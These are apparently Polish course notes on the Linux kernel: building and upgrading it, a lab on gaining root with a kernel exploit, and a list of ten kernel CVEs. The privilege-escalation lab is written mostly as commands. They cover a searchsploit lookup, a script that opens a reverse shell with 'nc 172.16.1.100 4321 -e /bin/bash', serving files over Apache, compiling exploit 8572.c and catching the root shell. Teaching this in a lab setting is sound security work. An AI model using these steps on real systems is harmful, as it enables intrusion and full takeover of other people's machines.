Kernel

Ćwiczenie: Budowanie jądra

W przeciwieństwie do tego, co mówi większość ludzi, kompilacja jądra Linuksa jest prostym zadaniem. Poniżej znajduje się ilustracja krok po kroku procesu kompilacji jądra Linuksa, przy użyciu jednej z dystrybucji Linuksa – cała procedura zostanie przedstawiona na nagraniu. Zaleca się wykonanie kopii zapasowej danych i grub.conf na wypadek, gdyby coś poszło nie tak.

1. Z witryny http://kernel.org pobierz źródło.
2. Będąc w katalogu pobierania, wypakuj źródło jądra z archiwum, wprowadzając następujące polecenie w terminalu: `tar xvjf Linux-xxx.tar.bz2`
3. Użyj polecenia `make mrproper`, aby wyczyścić obszar kompilacji przed jakąkolwiek kompilacją.
4. Użyj konfiguracji, na przykład `xconfig`. Te konfiguracje mają na celu ułatwienie uruchamiania dowolnego programu w systemie Linux.
5. Określ moduły i funkcje, które ma zawierać jądro.
6. Po pobraniu pliku `.config` następnym krokiem jest przejście do `Makefile`.
7. Uruchom polecenie `make` i poczekaj, aż kompilacja zakończy się.
8. Zainstaluj moduły za pomocą polecenia `make modules_install`.
9. Skopiuj jądro i mapę systemu do `/boot`.
10. Uruchom `new-kernel-pkg`, aby zbudować listę zależności modułów i rzeczy, takich jak `grub.conf`.

Ćwiczenie: Budowanie jądra | Lab video

Na początek musimy pobrać nową wersję jądra, robimy to za pomocą polecenia `wget` dodając odpowiedni link ze strony http://kernel.org

```
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.12.1.tar.xz
```

Następnie wyodrębniamy plik źródłowy:

```
tar xvf linux-5.12.1.tar.xz
```

Oraz instalujemy pakiety do budowania jądra przy pomocy menagera pakietów:

```
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc
flex libelf-dev bison
```

Kolejnym krokiem jest konfiguracja jądra

```
cd linux-5.12.1
# otwieramy folder z jądrem linuxa
cp -v /boot/config-$(uname -r) .config
# tworzymy kopie pliku konfiguracyjnego jądra

make menuconfig
# polecenie otwiera okno dialogowe pozwalające wprowadzać zmiany w pliku
konfiguracyjnym
```

Teraz przejdziemy do budowania jądra

```
make
# budujemy jądro (to może trochę potrwać)
```

```
sudo make modules_install
# instalujemy moduły jądra
sudo make install
# instalujemy skompilowane jądro
reboot
# uruchamiamy ponownie system
uname -mrs
# spradzamy czy instalacja przebiegła pomyślnie poprzez wyświetlenie informacji o jądrze
```

Ćwiczenie: Aktualizacja jądra

Możliwe jest zaktualizowanie jądra Linuksa ze starszej wersji do nowszej, zachowując wszystkie opcje konfiguracyjne z wcześniejszej wersji. Aby to osiągnąć, należy najpierw utworzyć kopię zapasową pliku `.config` w katalogu źródłowym jądra; dzieje się tak na wypadek, gdyby coś poszło nie tak podczas próby aktualizacji jądra.

Kroki są następujące:

1. Pobierz najnowszy kod źródłowy z głównej witryny kernel.org.
2. Zastosuj zmiany do starego drzewa źródłowego, aby zaktualizować je do najnowszej wersji.
3. Skonfiguruj ponownie jądro na podstawie poprzedniego pliku konfiguracyjnego jądra, którego kopię zapasową utworzyłeś.
4. Zbuduj nowe jądro.
5. Teraz możesz zainstalować nowe jądro.

Ćwiczenie: Aktualizacja jądra | Lab video

Najpierw należy pobrać skrypt aktualizaujący jądro i zainstalować go w ścieżce do pliku wykonywalnego

```
wget https://raw.githubusercontent.com/pimlie/ubuntu-mainline-kernel.sh/master/ubuntu-mainline-kernel.sh
# pobieramy skrypt
sudo install ubuntu-mainline-kernel.sh /usr/local/bin/
# instalujemy skrypt w ścieżce wykonywalnej
```

Teraz uruchamiany skrypt

```
ubuntu-mainline-kernel.sh -C
# uruchamiamy skrypt i sprawdzamy dostępność aktualizacji
sudo ubuntu-mainline-kernel.sh -i
# instalujemy aktualizacje jądra
```

Teraz ponownie uruchamiamy system w celu wprowadzenia zmian

```
reboot
uname -rs
# sprawdzamy czy proces aktualizacji przebiegł pomyślnie
```

Ćwiczenie: Podnoszenie uprawnień przy użyciu exploitu Kernela

Zakładamy scenariusz w którym próbujemy dostać się do maszyny pracującej na systemie Ubuntu korzystając z maszyny z Kali Linuxem. Udało nam się nawiązac połączenie zdalne z tą maszyną ale z powłoką niskiego poziomu. Musimy więc eskalować nasze uprawnienia.

Napierw sprawdzamy jakim użytkownikiem jesteśmy i w jakim systemie się znajdujemy:

```
whoami
# sprawdzamy jakim jesteśmy użytkownikiem
uname -a
# wyświetlamy informacje o jądrze systemu
lsb_release -a
# sprawdzamy z jaką systrybujcą mamy do czynienia i w jakiej wersji
```

Następnie wyszukujemy expliota który pomoże nam w podniesieniu uprawnień

```
searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
# wyszukujemy explioty
locate linux/local/8572.c
# wyszukujemy exploita 8572.c który wykorzystuje lukę u managerze UDEV i kopiujemy go
do folderu w którym pracujemy
```

Tworzymy wykonywalny plik na naszym komputerze który prześlemy do ofiary ataku poprzez serwer Apache. Plik będzie uruchomiony przez exploit

```
vi run
# tworzymy plik wykonywalny
```

Nasz plik będzie miał następującą treść:

```
#! /bin/bash
nc 172.16.1.100 4321 -e /bin/bash
```

Plik wykonywalny oraz `8572.c` kopiujemy do katalogu głównego Apache:

```
cp run /var/ww/html/run
cp 8572.c /var/www/html/8572.c
systemctl start apache2.service
```

Na maszynie ofiary przechodzimy do katalogu tmp gdzie pobierzemy nasz exploit i plik run

```
wget http://172.16.1.100/run
wget http://172.16.1.100/local/8752.c
```

Następnie kompilujemy plik `8572.c` do pliku wykonywalnego

```
gcc -o exploit 8572.c
# kompilujemy plik
ls
# sprawdzamy czy plik został stworzony
```

Następnie szukamu PIDu gniazda netlink

```
cat /proc/net/netlink
ps aux | grep udev
```

Następnie ustawiamu nasłuchiwanie na maszynie Kali

```
nc -lvp 4321
```

I wykonywujemy następujące polecenie w powłoce ofiary Ubuntu

```
./exploit 2459
```

Po jego uruchomieniu i połączeniu się maszyna z Kali Linuxem powinna uzyskać połączenie z ofiarą i mieć uprawnienia root, można to sprawdzić np poleceniem `whoami`.

Top 10 wrażliwości Kernela Linux

Lista Top 10 CVE odnoszących się do Kernela

Wrażliwość	Link
CVE-2017-18017	https://nvd.nist.gov/vuln/detail/CVE-2017-18017
CVE-2015-8812	https://nvd.nist.gov/vuln/detail/CVE-2015-8812
CVE-2016-10229	https://nvd.nist.gov/vuln/detail/CVE-2016-10229
CVE-2014-2523	https://nvd.nist.gov/vuln/detail/CVE-2014-2523
CVE-2016-10150	https://nvd.nist.gov/vuln/detail/CVE-2016-10150
CVE-2010-2521	https://nvd.nist.gov/vuln/detail/CVE-2010-2521
CVE-2017-13715	https://nvd.nist.gov/vuln/detail/CVE-2017-13715
CVE-2016-7117	https://nvd.nist.gov/vuln/detail/CVE-2016-7117
CVE-2009-0065	https://nvd.nist.gov/vuln/detail/CVE-2009-0065
CVE-2015-8787	https://nvd.nist.gov/vuln/detail/CVE-2015-8787